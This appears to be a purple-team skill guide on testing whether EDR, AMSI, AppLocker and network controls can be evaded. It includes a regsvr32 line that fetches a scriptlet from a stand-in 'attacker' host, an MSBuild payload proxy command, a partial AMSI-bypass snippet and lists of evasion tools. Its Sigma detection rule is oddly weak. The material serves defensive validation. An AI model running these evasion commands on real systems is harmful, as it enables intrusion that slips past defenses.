<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
---
name: performing-security-control-bypass-testing
description: >-
  Test security controls for bypass vulnerabilities through systematic evasion
  techniques. Covers EDR bypass testing, application allowlisting evasion, network
  security control circumvention, and validation of defense-in-depth across
  endpoint, network, and identity control layers.
domain: cybersecurity
subdomain: purple-team
tags:
  - control-bypass
  - edr-evasion
  - defense-evasion
  - mitre-attack
  - security-controls
  - red-team
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1059.001", "T1127.001", "T1140", "T1218.010", "T1218.011", "T1562.001"]
---

# Performing Security Control Bypass Testing

## Overview

Security control bypass testing validates that defensive tools actually stop attacks
rather than providing a false sense of security. By systematically testing evasion
techniques against EDR, SIEM, firewalls, and application controls, purple teams
identify weaknesses before adversaries exploit them.

## Prerequisites

| Requirement | Install |
|---|---|
| Invoke-AtomicRedTeam | PowerShell module for technique execution |
| ScareCrow | `go install github.com/optiv/ScareCrow@latest` |
| Nimcrypt2 | `git clone https://github.com/icyguider/Nimcrypt2.git` |
| Python 3.10+ | For agent tooling |
| Sigma CLI | `pip install sigma-cli` |

## Key Concepts

### Control Layers

| Layer | Controls | Bypass Techniques |
|---|---|---|
| Endpoint | EDR, AV, AMSI | Process injection, unhooking, AMSI bypass |
| Network | Firewall, IDS/IPS, proxy | Tunneling, domain fronting, protocol abuse |
| Identity | MFA, PAM, SSO | Token theft, session hijack, phishing |
| Application | Allowlisting, AppLocker | LOLBins, DLL side-loading, script proxies |

### Bypass Test Matrix

```yaml
bypass_tests:
  - control: "Windows Defender"
    category: endpoint
    tests:
      - name: "AMSI Bypass via Reflection"
        technique: T1562.001
        atomic: custom-amsi-bypass-01
        expected: bypass_succeeds
      - name: "PowerShell Constrained Language Mode Escape"
        technique: T1059.001
        atomic: custom-clm-escape-01
        expected: bypass_succeeds
  - control: "AppLocker"
    category: application
    tests:
      - name: "MSBuild.exe Execution Proxy"
        technique: T1127.001
        command: |
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe payload.xml
        expected: execution_succeeds
      - name: "Regsvr32 Scriptlet Execution"
        technique: T1218.010
        command: |
          regsvr32 /s /n /u /i:http://attacker/file.sct scrobj.dll
        expected: execution_succeeds
```

### AMSI Bypass Test

```powershell
# Test AMSI bypass (T1562.001)
$a = [Ref].Assembly.GetTypes() | Where-Object {$_.Name -like "*AmsiUtils*"}
$f = $a.GetFields('NonPublic,Static') | Where-Object {$_.Name -like "*amsiContext*"}
# Note: actual bypass code omitted — use authorized test payloads only
```

### LOLBin Execution Tests

```bash
# MSBuild execution proxy (T1127.001)
Invoke-AtomicTest T1127.001 -TestNumbers 1

# Regsvr32 scriptlet execution (T1218.010)
Invoke-AtomicTest T1218.010 -TestNumbers 1

# Rundll32 proxy execution (T1218.011)
Invoke-AtomicTest T1218.011 -TestNumbers 1

# Certutil download and decode (T1140)
Invoke-AtomicTest T1140 -TestNumbers 1
```

## Workflow

### 1. Enumerate Active Controls

```bash
# Inventory security controls on target system
node agent.js enumerate-controls \
  --target 192.168.1.100 \
  --output controls_inventory.json
```

### 2. Select Bypass Tests

```bash
# Generate bypass test plan for identified controls
node agent.js plan-bypass \
  --controls controls_inventory.json \
  --output bypass_plan.yaml
```

### 3. Execute Bypass Tests

```bash
# Run bypass test suite
node agent.js execute-bypass \
  --plan bypass_plan.yaml \
  --output results/bypass_results.json
```

### 4. Verify Detection

```bash
# Check if bypass attempts were detected even if successful
node agent.js check-detection \
  --results results/bypass_results.json \
  --siem-url https://splunk:8089
```

### 5. Report Findings

```bash
# Generate bypass testing report
node agent.js bypass-report \
  --results results/bypass_results.json \
  --output reports/bypass_findings.json
```

## Detection

```yaml
title: Security Control Bypass Testing Detection
id: 506b58ef-ee0c-4bc0-9ef0-def6b0d41cec
status: experimental
description: Detects suspicious activity related to performing security control bypass testing techniques in purple team context
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    CommandLine: "*performing*security*"
  condition: selection
level: medium
tags:
  - attack.t1059.001
  - attack.t1127.001
  - attack.t1140
  - attack.t1218.010
  - attack.t1218.011
  - attack.t1562.001
  - attack.defense_evasion
falsepositives:
  - Authorized adversary simulation exercises during scheduled windows
```

## Verification

| Check | Method |
|---|---|
| Control enumerated | Inventory lists all active controls |
| Bypass tested | Each control has at least one bypass attempt |
| Detection status | Record whether bypassed activity was detected |
| Findings documented | Each bypass has severity and remediation |

## References

- [MITRE ATT&CK Defense Evasion](https://attack.mitre.org/tactics/TA0005/)
- [LOLBAS Project](https://lolbas-project.github.io/)
- [Atomic Red Team](https://github.com/redcanaryco/atomic-red-team)
